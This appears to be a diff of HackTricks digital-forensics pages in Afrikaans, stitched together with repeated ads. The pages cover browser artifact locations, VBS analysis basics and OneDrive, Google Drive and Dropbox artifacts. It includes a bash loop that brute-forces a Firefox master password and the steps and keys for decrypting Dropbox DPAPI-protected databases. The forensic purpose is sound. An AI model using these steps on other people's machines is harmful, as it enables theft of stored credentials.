Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik te bou en **werkstrome outomatiseer** wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\
|
||||
Kry Vandaag Toegang:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
## Browser Artefakte <a href="#id-3def" id="id-3def"></a>
|
||||
|
||||
Browser artefakte sluit verskeie soorte data in wat deur webblaaier gestoor word, soos navigasiegeskiedenis, bladmerke en tuisbladdata. Hierdie artefakte word in spesifieke velde binne die bedryfstelsel gehou, wat verskil in ligging en naam oor verskillende blaaier, maar oor die algemeen soortgelyke datatipes stoor.
|
||||
|
||||
Hier is 'n opsomming van die mees algemene blaaier artefakte:
|
||||
|
||||
* **Navigasiegeskiedenis**: Spoor gebruikersbesoeke aan webwerwe, nuttig om besoeke aan skadelike webwerwe te identifiseer.
|
||||
* **Outomatiese Data**: Voorstelle gebaseer op gereelde soektogte, bied insigte wanneer dit gekombineer word met navigasiegeskiedenis.
|
||||
* **Bladmerke**: Webwerwe wat deur die gebruiker gestoor is vir vinnige toegang.
|
||||
* **Uitbreidings en Byvoegings**: Blaaieruitbreidings of byvoegings wat deur die gebruiker geïnstalleer is.
|
||||
* **Tuisblad**: Stoor webinhoud (bv. afbeeldings, JavaScript-lêers) om webwerf-laaitye te verbeter, waardevol vir forensiese analise.
|
||||
* **Aantekeninge**: Gestoorde aanmeldingsgelde.
|
||||
* **Favicons**: Ikone wat met webwerwe geassosieer word, verskyn in lêers en bladmerke, nuttig vir addisionele inligting oor gebruikersbesoeke.
|
||||
* **Blaaier-sessies**: Data wat verband hou met oop blaaier-sessies.
|
||||
* **Aflaaie**: Rekords van lêers wat deur die blaaier afgelaai is.
|
||||
* **Vormdata**: Inligting wat in webvorms ingevoer is, gestoor vir toekomstige outomatiese voorstelle.
|
||||
* **Duimnaels**: Voorbeeldbeelde van webwerwe.
|
||||
* **Aangepaste Dictionary.txt**: Woorde wat deur die gebruiker by die blaaier se woordeboek gevoeg is.
|
||||
|
||||
## Firefox
|
||||
|
||||
Firefox organiseer gebruikersdata binne profiele, gestoor op spesifieke plekke gebaseer op die bedryfstelsel:
|
||||
|
||||
* **Linux**: `~/.mozilla/firefox/`
|
||||
* **MacOS**: `/Users/$USER/Library/Application Support/Firefox/Profiles/`
|
||||
* **Windows**: `%userprofile%\AppData\Roaming\Mozilla\Firefox\Profiles\`
|
||||
|
||||
'n `profiles.ini`-lêer binne hierdie gide lys die gebruikersprofiele. Elke profiel se data word gestoor in 'n vouer wat genoem word in die `Path`-veranderlike binne `profiles.ini`, geleë in dieselfde gids as `profiles.ini` self. As 'n profiel se vouer ontbreek, kan dit verwyder wees.
|
||||
|
||||
Binne elke profielvouer kan jy verskeie belangrike lêers vind:
|
||||
|
||||
* **places.sqlite**: Stoor geskiedenis, bladmerke en aflaaie. Gereedskap soos [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing\_history\_view.html) op Windows kan toegang verkry tot die geskiedenisdata.
|
||||
* Gebruik spesifieke SQL-navrae om geskiedenis- en aflaaie-inligting te onttrek.
|
||||
* **bookmarkbackups**: Bevat rugsteun van bladmerke.
|
||||
* **formhistory.sqlite**: Stoor webvormdata.
|
||||
* **handlers.json**: Bestuur protokolhanterings.
|
||||
* **persdict.dat**: Aangepaste woordeboekwoorde.
|
||||
* **addons.json** en **extensions.sqlite**: Inligting oor geïnstalleerde byvoegings en uitbreidings.
|
||||
* **cookies.sqlite**: Koekie-opberging, met [MZCookiesView](https://www.nirsoft.net/utils/mzcv.html) beskikbaar vir inspeksie op Windows.
|
||||
* **cache2/entries** of **startupCache**: Tuisbladdata, toeganklik deur gereedskap soos [MozillaCacheView](https://www.nirsoft.net/utils/mozilla\_cache\_viewer.html).
|
||||
* **favicons.sqlite**: Stoor favicons.
|
||||
* **prefs.js**: Gebruikersinstellings en voorkeure.
|
||||
* **downloads.sqlite**: Ouer aflaaie-databasis, nou geïntegreer in places.sqlite.
|
||||
* **thumbnails**: Webwerfduimnaels.
|
||||
* **logins.json**: Versleutelde aanmeldingsinligting.
|
||||
* **key4.db** of **key3.db**: Stoor versleutelingssleutels vir die beveiliging van sensitiewe inligting.
|
||||
|
||||
Daarbenewens kan die blaaier se teen-phishing-instellings nagegaan word deur te soek na `browser.safebrowsing`-inskrywings in `prefs.js`, wat aandui of veilige blaai-funksies geaktiveer of gedeaktiveer is.
|
||||
|
||||
Om te probeer om die meesterwagwoord te ontsluit, kan jy [https://github.com/unode/firefox\_decrypt](https://github.com/unode/firefox\_decrypt) gebruik\
|
||||
Met die volgende skripsie en oproep kan jy 'n wagwoordlêer spesifiseer om krag te gebruik:
|
||||
```bash
|
||||
#!/bin/bash
|
||||
|
||||
#./brute.sh top-passwords.txt 2>/dev/null | grep -A2 -B2 "chrome:"
|
||||
passfile=$1
|
||||
while read pass; do
|
||||
echo "Trying $pass"
|
||||
echo "$pass" | python firefox_decrypt.py
|
||||
done < $passfile
|
||||
```
|
||||
## Google Chrome
|
||||
|
||||
Google Chrome stoor gebruikersprofiele op spesifieke plekke gebaseer op die bedryfstelsel:
|
||||
|
||||
- **Linux**: `~/.config/google-chrome/`
|
||||
- **Windows**: `C:\Users\XXX\AppData\Local\Google\Chrome\User Data\`
|
||||
- **MacOS**: `/Users/$USER/Library/Application Support/Google/Chrome/`
|
||||
|
||||
Binne hierdie gids kan die meeste gebruikersdata gevind word in die **Default/** of **ChromeDefaultData/** vouers. Die volgende lêers bevat belangrike data:
|
||||
|
||||
- **Geskiedenis**: Bevat URL's, aflaaie, en soek sleutelwoorde. Op Windows kan [ChromeHistoryView](https://www.nirsoft.net/utils/chrome\_history\_view.html) gebruik word om die geskiedenis te lees. Die "Oorgangstipe" kolom het verskeie betekenisse, insluitend gebruikersklikke op skakels, getikte URL's, vormindienings, en bladsy herlaaiings.
|
||||
- **Koekies**: Stoor koekies. Vir inspeksie is [ChromeCookiesView](https://www.nirsoft.net/utils/chrome\_cookies\_view.html) beskikbaar.
|
||||
- **Cache**: Hou gekaapte data. Om te inspekteer, kan Windows-gebruikers [ChromeCacheView](https://www.nirsoft.net/utils/chrome\_cache\_view.html) gebruik.
|
||||
- **Bladmerke**: Gebruiker bladmerke.
|
||||
- **Web Data**: Bevat vormgeskiedenis.
|
||||
- **Favicons**: Stoor webwerf favicons.
|
||||
- **Aantekeningsdata**: Sluit aanmeldingsbewyse soos gebruikersname en wagwoorde in.
|
||||
- **Huidige Sessie**/**Huidige Lappe**: Data oor die huidige blaai-sessie en oop lappe.
|
||||
- **Laaste Sessie**/**Laaste Lappe**: Inligting oor die webwerwe aktief tydens die laaste sessie voor Chrome gesluit is.
|
||||
- **Uitbreidings**: Gidse vir blaaieruitbreidings en byvoegings.
|
||||
- **Duimnaels**: Stoor webwerf duimnaels.
|
||||
- **Voorkeure**: 'n Lêer ryk aan inligting, insluitend instellings vir plugins, uitbreidings, pop-ups, kennisgewings, en meer.
|
||||
- **Blaaier se ingeboude teen-phishing**: Om te kontroleer of teen-phishing en kwaadwillige beskerming geaktiveer is, hardloop `grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences`. Soek na `{"enabled: true,"}` in die uitset.
|
||||
|
||||
## **SQLite DB Data Herwinning**
|
||||
|
||||
Soos waargeneem kan word in die vorige afdelings, gebruik sowel Chrome as Firefox **SQLite** databasisse om die data te stoor. Dit is moontlik om **verwyderde inskrywings te herwin met die hulpmiddel** [**sqlparse**](https://github.com/padfoot999/sqlparse) **of** [**sqlparse\_gui**](https://github.com/mdegrazia/SQLite-Deleted-Records-Parser/releases).
|
||||
|
||||
## **Internet Explorer 11**
|
||||
|
||||
Internet Explorer 11 bestuur sy data en metadata oor verskeie plekke, wat help om gestoorde inligting en die ooreenstemmende besonderhede te skei vir maklike toegang en bestuur.
|
||||
|
||||
### Metadata Berging
|
||||
|
||||
Metadata vir Internet Explorer word gestoor in `%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data` (met VX wat V01, V16, of V24 kan wees). Tesame hiermee kan die `V01.log` lêer wysigingstyd diskrepansies met `WebcacheVX.data` toon, wat 'n behoefte vir herstel met `esentutl /r V01 /d` aandui. Hierdie metadata, gehuis in 'n ESE databasis, kan herwin en ondersoek word met hulpmiddels soos photorec en [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html) onderskeidelik. Binne die **Containers** tabel kan 'n persoon die spesifieke tabelle of houers onderskei waar elke data segment gestoor word, insluitend cache besonderhede vir ander Microsoft hulpmiddels soos Skype.
|
||||
|
||||
### Cache Inspeksie
|
||||
|
||||
Die [IECacheView](https://www.nirsoft.net/utils/ie\_cache\_viewer.html) hulpmiddel maak cache inspeksie moontlik, wat die lokasie van die cache data-ekstraksie vouer benodig. Metadata vir die cache sluit lêernaam, gids, toegangstellings, URL oorsprong, en tydstempels wat cache skepping, toegang, wysiging, en verval tyd aandui.
|
||||
|
||||
### Koekies Bestuur
|
||||
|
||||
Koekies kan ondersoek word met [IECookiesView](https://www.nirsoft.net/utils/iecookies.html), met metadata wat name, URL's, toegangstellings, en verskeie tydverwante besonderhede insluit. Volgehoue koekies word gestoor in `%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies`, met sessie koekies wat in die geheue bly.
|
||||
|
||||
### Aflaaibesonderhede
|
||||
|
||||
Aflaaibesonderhede is toeganklik via [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html), met spesifieke houers wat data soos URL, lêertipe, en aflaaiplek hou. Fisiese lêers kan gevind word onder `%userprofile%\Appdata\Roaming\Microsoft\Windows\IEDownloadHistory`.
|
||||
|
||||
### Blaai Geskiedenis
|
||||
|
||||
Om blaai-geskiedenis te hersien, kan [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing\_history\_view.html) gebruik word, wat die lokasie van die geëkstraheerde geskiedenis lêers en konfigurasie vir Internet Explorer benodig. Metadata hier sluit wysiging en toegangstye in, tesame met toegangstellings. Geskiedenis lêers is geleë in `%userprofile%\Appdata\Local\Microsoft\Windows\History`.
|
||||
|
||||
### Getikte URL's
|
||||
|
||||
Getikte URL's en hul gebruikstye word binne die register gestoor onder `NTUSER.DAT` by `Software\Microsoft\InternetExplorer\TypedURLs` en `Software\Microsoft\InternetExplorer\TypedURLsTime`, wat die laaste 50 URL's aangedui deur die gebruiker en hul laaste insettye volg.
|
||||
|
||||
## Microsoft Edge
|
||||
|
||||
Microsoft Edge stoor gebruikersdata in `%userprofile%\Appdata\Local\Packages`. Die paaie vir verskeie datatipes is:
|
||||
|
||||
- **Profiel Paaie**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC`
|
||||
- **Geskiedenis, Koekies, en Aflaaie**: `C:\Users\XX\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat`
|
||||
- **Instellings, Bladmerke, en Leeslys**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC\MicrosoftEdge\User\Default\DataStore\Data\nouser1\XXX\DBStore\spartan.edb`
|
||||
- **Cache**: `C:\Users\XXX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC#!XXX\MicrosoftEdge\Cache`
|
||||
- **Laaste Aktiewe Sessies**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC\MicrosoftEdge\User\Default\Recovery\Active`
|
||||
|
||||
## Safari
|
||||
|
||||
Safari data word gestoor by `/Users/$User/Library/Safari`. Sleutellêers sluit in:
|
||||
|
||||
- **History.db**: Bevat `history_visits` en `history_items` tabelle met URL's en besoek tydstempels. Gebruik `sqlite3` om navrae te doen.
|
||||
- **Downloads.plist**: Inligting oor afgelaaide lêers.
|
||||
- **Bookmarks.plist**: Berg gebladmerkte URL's.
|
||||
- **TopSites.plist**: Mees besoekte webwerwe.
|
||||
- **Extensions.plist**: Lys van Safari blaaieruitbreidings. Gebruik `plutil` of `pluginkit` om te herwin.
|
||||
- **UserNotificationPermissions.plist**: Domeine toegelaat om kennisgewings te stuur. Gebruik `plutil` om te ontled.
|
||||
- **LastSession.plist**: Lappe van die laaste sessie. Gebruik `plutil` om te ontled.
|
||||
- **Blaaier se ingeboude teen-phishing**: Kontroleer met `defaults read com.apple.Safari WarnAboutFraudulentWebsites`. 'n Antwoord van 1 dui aan dat die funksie aktief is.
|
||||
|
||||
## Opera
|
||||
|
||||
Opera se data bly in `/Users/$USER/Library/Application Support/com.operasoftware.Opera` en deel Chrome se formaat vir geskiedenis en aflaaie.
|
||||
|
||||
- **Blaaier se ingeboude teen-phishing**: Verifieer deur te kyk of `fraud_protection_enabled` in die Voorkeure lêer op `true` gestel is met `grep`.
|
||||
|
||||
Hierdie paaie en opdragte is noodsaaklik vir die toegang tot en begrip van die blaai data gestoor deur verskillende webblaaier.
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kontroleer die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks uitrusting**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
|
@ -0,0 +1,87 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
Sommige dinge wat nuttig kan wees om 'n skadelike VBS-lêer te ontleed/deobfuskasie:
|
||||
|
||||
## echo
|
||||
```bash
|
||||
Wscript.Echo "Like this?"
|
||||
```
|
||||
## Kommentaar
|
||||
```bash
|
||||
' this is a comment
|
||||
```
|
||||
## Toets
|
||||
```bash
|
||||
cscript.exe file.vbs
|
||||
```
|
||||
## Skryf data na 'n lêer
|
||||
|
||||
Om data na 'n lêer te skryf, kan jy die volgende stappe volg:
|
||||
|
||||
1. Maak 'n nuwe lêer aan deur die lêer te skep met die gewenste naam en lêeruitbreiding. Byvoorbeeld, as jy 'n lêer met die naam "data.txt" wil skep, kan jy die volgende opdrag gebruik:
|
||||
|
||||
```bash
|
||||
echo > data.txt
|
||||
```
|
||||
|
||||
2. Open die lêer in 'n teksredigeerder of skryfprogram. Jy kan 'n teksredigeerder soos Notepad++ of Vim gebruik.
|
||||
|
||||
3. Skryf die data wat jy wil stoor in die lêer. Jy kan enige teks of binêre data in die lêer skryf. Byvoorbeeld:
|
||||
|
||||
```bash
|
||||
echo "Dit is 'n voorbeeld van data wat in die lêer geskryf word." > data.txt
|
||||
```
|
||||
|
||||
4. Stoor die veranderinge en sluit die lêer.
|
||||
|
||||
Nou sal die spesifiseerde data in die lêer gestoor word.
|
||||
```js
|
||||
Function writeBinary(strBinary, strPath)
|
||||
|
||||
Dim oFSO: Set oFSO = CreateObject("Scripting.FileSystemObject")
|
||||
|
||||
' below lines purpose: checks that write access is possible!
|
||||
Dim oTxtStream
|
||||
|
||||
On Error Resume Next
|
||||
Set oTxtStream = oFSO.createTextFile(strPath)
|
||||
|
||||
If Err.number <> 0 Then MsgBox(Err.message) : Exit Function
|
||||
On Error GoTo 0
|
||||
|
||||
Set oTxtStream = Nothing
|
||||
' end check of write access
|
||||
|
||||
With oFSO.createTextFile(strPath)
|
||||
.Write(strBinary)
|
||||
.Close
|
||||
End With
|
||||
|
||||
End Function
|
||||
```
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslagplekke.
|
||||
|
||||
</details>
|
|
@ -0,0 +1,136 @@
|
|||
# Plaaslike Skyfberging
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik te bou en **werkstrome outomatiseer** wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\
|
||||
Kry Vandag Toegang:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
## OneDrive
|
||||
|
||||
In Windows kan jy die OneDrive-folder vind in `\Users\<gebruikersnaam>\AppData\Local\Microsoft\OneDrive`. En binne `logs\Personal` is dit moontlik om die lêer `SyncDiagnostics.log` te vind wat interessante data bevat oor die gesinkroniseerde lêers:
|
||||
|
||||
* Grootte in bytes
|
||||
* Skeppingsdatum
|
||||
* Wysigingsdatum
|
||||
* Aantal lêers in die wolk
|
||||
* Aantal lêers in die folder
|
||||
* **CID**: Unieke ID van die OneDrive-gebruiker
|
||||
* Verslaggenereringstyd
|
||||
* Grootte van die HD van die OS
|
||||
|
||||
Sodra jy die CID gevind het, word dit aanbeveel om **lêers te soek wat hierdie ID bevat**. Jy mag lêers met die naam vind: _**\<CID>.ini**_ en _**\<CID>.dat**_ wat interessante inligting kan bevat soos die name van lêers wat gesinkroniseer is met OneDrive.
|
||||
|
||||
## Google Drive
|
||||
|
||||
In Windows kan jy die hoof Google Drive-folder vind in `\Users\<gebruikersnaam>\AppData\Local\Google\Drive\user_default`\
|
||||
Hierdie folder bevat 'n lêer genaamd Sync\_log.log met inligting soos die e-posadres van die rekening, lêernaam, tydstempels, MD5-hashes van die lêers, ens. Selfs verwyderde lêers verskyn in daardie log-lêer met die ooreenstemmende MD5.
|
||||
|
||||
Die lêer **`Cloud_graph\Cloud_graph.db`** is 'n sqlite-databasis wat die tabel **`cloud_graph_entry`** bevat. In hierdie tabel kan jy die **naam** van die **gesinkroniseerde** **lêers**, gewysigde tyd, grootte, en die MD5-kontrolesom van die lêers vind.
|
||||
|
||||
Die tabeldata van die databasis **`Sync_config.db`** bevat die e-posadres van die rekening, die pad van die gedeelde lêers en die Google Drive-weergawe.
|
||||
|
||||
## Dropbox
|
||||
|
||||
Dropbox gebruik **SQLite-databasisse** om die lêers te bestuur. Hierdie\
|
||||
Jy kan die databasisse vind in die volgende folders:
|
||||
|
||||
* `\Users\<gebruikersnaam>\AppData\Local\Dropbox`
|
||||
* `\Users\<gebruikersnaam>\AppData\Local\Dropbox\Instance1`
|
||||
* `\Users\<gebruikersnaam>\AppData\Roaming\Dropbox`
|
||||
|
||||
En die hoofdatabasisse is:
|
||||
|
||||
* Sigstore.dbx
|
||||
* Filecache.dbx
|
||||
* Deleted.dbx
|
||||
* Config.dbx
|
||||
|
||||
Die ".dbx"-uitbreiding beteken dat die **databasisse** **versleutel** is. Dropbox gebruik **DPAPI** ([https://docs.microsoft.com/en-us/previous-versions/ms995355(v=msdn.10)?redirectedfrom=MSDN](https://docs.microsoft.com/en-us/previous-versions/ms995355\(v=msdn.10\)?redirectedfrom=MSDN))
|
||||
|
||||
Om die versleuteling wat Dropbox gebruik beter te verstaan, kan jy lees [https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html](https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html).
|
||||
|
||||
Nietemin, die hoofinligting is:
|
||||
|
||||
* **Entropie**: d114a55212655f74bd772e37e64aee9b
|
||||
* **Sout**: 0D638C092E8B82FC452883F95F355B8E
|
||||
* **Algoritme**: PBKDF2
|
||||
* **Iterasies**: 1066
|
||||
|
||||
Afgesien van daardie inligting, om die databasisse te ontsluit, benodig jy steeds:
|
||||
|
||||
* Die **versleutelde DPAPI-sleutel**: Jy kan dit in die register binne `NTUSER.DAT\Software\Dropbox\ks\client` vind (eksporteer hierdie data as binêr)
|
||||
* Die **`SYSTEM`** en **`SECURITY`**-bytjies
|
||||
* Die **DPAPI-hoofsleutels**: Wat gevind kan word in `\Users\<gebruikersnaam>\AppData\Roaming\Microsoft\Protect`
|
||||
* Die **gebruikersnaam** en **wagwoord** van die Windows-gebruiker
|
||||
|
||||
Dan kan jy die instrument [**DataProtectionDecryptor**](https://nirsoft.net/utils/dpapi\_data\_decryptor.html)**:**
|
||||
|
||||
![](<../../../.gitbook/assets/image (448).png>)
|
||||
|
||||
As alles soos verwag verloop, sal die instrument die **hoof sleutel** aandui wat jy nodig het om die oorspronklike een te herstel. Om die oorspronklike een te herstel, gebruik net hierdie [cyber\_chef kwitansie](https://gchq.github.io/CyberChef/#recipe=Derive\_PBKDF2\_key\(%7B'option':'Hex','string':'98FD6A76ECB87DE8DAB4623123402167'%7D,128,1066,'SHA1',%7B'option':'Hex','string':'0D638C092E8B82FC452883F95F355B8E'%7D\) deur die hoofsleutel as die "wagwoordfrase" binne die kwitansie te plaas.
|
||||
|
||||
Die resulterende heks is die finale sleutel wat gebruik word om die databasisse te versleutel wat ontsluit kan word met:
|
||||
```bash
|
||||
sqlite -k <Obtained Key> config.dbx ".backup config.db" #This decompress the config.dbx and creates a clear text backup in config.db
|
||||
```
|
||||
Die **`config.dbx`** databasis bevat:
|
||||
|
||||
- **E-pos**: Die e-pos van die gebruiker
|
||||
- **usernamedisplayname**: Die naam van die gebruiker
|
||||
- **dropbox\_path**: Pad waar die Dropbox vouer geleë is
|
||||
- **Host\_id: Hash** wat gebruik word om te verifieer na die wolk. Dit kan slegs van die web herroep word.
|
||||
- **Root\_ns**: Gebruiker-identifiseerder
|
||||
|
||||
Die **`filecache.db`** databasis bevat inligting oor al die lêers en vouers wat gesinkroniseer is met Dropbox. Die tabel `File_journal` is die een met die meeste nuttige inligting:
|
||||
|
||||
- **Server\_path**: Pad waar die lêer binne die bediener geleë is (hierdie pad word voorafgegaan deur die `host_id` van die klient).
|
||||
- **local\_sjid**: Weergawe van die lêer
|
||||
- **local\_mtime**: Wysigingsdatum
|
||||
- **local\_ctime**: Skeppingsdatum
|
||||
|
||||
Ander tabelle binne hierdie databasis bevat meer interessante inligting:
|
||||
|
||||
- **block\_cache**: hasj van al die lêers en vouers van Dropbox
|
||||
- **block\_ref**: Verband die hasj-ID van die tabel `block_cache` met die lêer-ID in die tabel `file_journal`
|
||||
- **mount\_table**: Deel vouers van Dropbox
|
||||
- **deleted\_fields**: Dropbox verwyderde lêers
|
||||
- **date\_added**
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik te bou en **outomatiseer werkstrome** aangedryf deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\
|
||||
Kry Toegang Vandag:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS hak van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
- As jy wil sien jou **maatskappy geadverteer in HackTricks** of **laai HackTricks in PDF af** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
- Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
- Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
- **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
- **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
|
@ -0,0 +1,58 @@
|
|||
# Kantoorlêerontleding
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kontroleer die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik te bou en **werkstrome outomatiseer** wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\
|
||||
Kry Vandag Toegang:
|
||||
|
||||
